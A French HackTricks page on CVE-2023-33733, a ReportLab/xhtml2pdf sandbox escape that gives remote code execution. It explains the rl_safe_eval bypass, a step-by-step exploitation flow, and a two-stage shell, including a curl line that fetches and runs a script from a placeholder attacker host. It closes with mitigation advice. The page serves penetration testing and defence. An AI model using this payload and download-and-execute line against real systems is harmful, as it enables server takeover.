ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page documente un sandbox escape pratique et une primitive RCE dans rl_safe_eval de ReportLab utilisée par xhtml2pdf et d'autres pipelines de génération de PDF lorsqu'ils rendent du HTML contrôlé par l'utilisateur en PDF.

CVE-2023-33733 affecte les versions de ReportLab jusqu'à et y compris 3.6.12. Dans certains contextes d'attributs (par exemple color), les valeurs entourées par des triple crochets [[[ ... ]]] sont évaluées côté serveur par rl_safe_eval. En façonnant une charge utile qui pivote depuis un builtin whitelisté (pow) vers les globals de sa fonction Python, un attaquant peut atteindre le module os et exécuter des commandes.

Points clés

  • Trigger : injecter [[[ ... ]]] dans des attributs évalués comme au sein du markup analysé par ReportLab/xhtml2pdf.
  • Sandbox : rl_safe_eval remplace les builtins dangereux mais les fonctions évaluées exposent toujours globals.
  • Bypass : créer une classe transitoire Word pour contourner les vérifications de noms de rl_safe_eval et accéder à la chaîne "globals" tout en évitant le filtrage des dunder bloqués.
  • RCE : getattr(pow, Word("globals"))["os"].system("")
  • Stabilité : retourner une valeur d'attribut valide après l'exécution (pour color, utiliser and 'red').

Quand tester

  • Applications qui exposent l'export HTML-to-PDF (profils, factures, rapports) et affichent xhtml2pdf/ReportLab dans les métadonnées PDF ou les commentaires de la réponse HTTP.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • La réponse HTTP pour un PDF commence souvent par un commentaire généré par ReportLab

Comment fonctionne le contournement du sandbox

  • rl_safe_eval supprime ou remplace de nombreux builtins (getattr, type, pow, ...) et applique un filtrage de noms pour refuser les attributs commençant par __ ou présents dans une denylist.
  • Cependant, les fonctions sûres vivent dans un dictionnaire globals accessible via func.globals.
  • Utiliser type(type(1)) pour récupérer la vraie fonction builtin type (contournant l'enveloppe de ReportLab), puis définir une classe Word dérivée de str avec un comportement de comparaison modifié de sorte que :
  • .startswith('') → toujours False (contournement du contrôle startswith('') sur le nom)
  • .eq retourne False uniquement à la première comparaison (contournement des vérifications d'appartenance à la denylist) puis True ensuite (pour que getattr fonctionne)
  • .hash égal à hash(str(self))
  • Grâce à cela, getattr(pow, Word('globals')) retourne le dict globals de la fonction pow emballée, qui inclut un module os importé. Ensuite : ['os'].system('').

Patron d'exploitation minimal (exemple d'attribut) Placer la charge utile à l'intérieur d'un attribut évalué et s'assurer qu'elle retourne une valeur d'attribut valide via boolean and 'red'.

exploit

  • La forme en list-comprehension permet une seule expression acceptable pour rl_safe_eval.
  • Le and 'red' final retourne une couleur CSS valide afin que le rendu ne casse pas.
  • Remplacer la commande selon le besoin ; utiliser ping pour valider l'exécution avec tcpdump.

Flux opérationnel

  1. Identifier le générateur de PDF
  • Le champ Producer affiche xhtml2pdf ; la réponse HTTP contient un commentaire ReportLab.
  1. Trouver une entrée reflétée dans le PDF (par ex., bio/description du profil) et déclencher un export.
  2. Vérifier l'exécution avec ICMP peu bruyant
  • Exécuter : sudo tcpdump -ni icmp
  • Payload : ... system('ping <your_ip>') ...
  • Windows envoie souvent exactement quatre requêtes echo par défaut.
  1. Établir une shell
  • Pour Windows, une approche fiable en deux étapes évite les problèmes de quoting/encodage :
  • Stage 1 (téléchargement) :

exploit

  • Stage 2 (exécution) :

exploit

  • Pour les cibles Linux, un flux en deux étapes similaire avec curl/wget est possible :
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notes et conseils

  • Contextes d'attributs : color est un attribut évalué connu ; d'autres attributs dans le markup ReportLab peuvent aussi évaluer des expressions. Si un emplacement est filtré, tester d'autres emplacements rendus dans le flux PDF (champs différents, styles de table, etc.).
  • Quoting : garder les commandes compactes. Les téléchargements en deux étapes réduisent drastiquement les problèmes de quoting et d'échappement.
  • Fiabilité : si les exports sont mis en cache ou en file d'attente, varier légèrement la charge utile (par ex. chemin ou query aléatoire) pour éviter de toucher des caches.

Atténuation et détection

  • Mettre à jour ReportLab vers la version 3.6.13 ou ultérieure (CVE-2023-33733 corrigée). Suivre aussi les avis de sécurité des paquets de distribution.
  • Ne pas fournir du HTML/markup contrôlé par l'utilisateur directement à xhtml2pdf/ReportLab sans une sanitization stricte. Supprimer/refuser les constructions d'évaluation [[[...]]] et les tags spécifiques vendor lorsque l'entrée n'est pas de confiance.
  • Envisager de désactiver ou d'envelopper complètement l'utilisation de rl_safe_eval pour les entrées non fiables.
  • Surveiller les connexions sortantes suspectes pendant la génération de PDF (par ex., ICMP/HTTP depuis les serveurs applicatifs lors d'exports de documents).

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks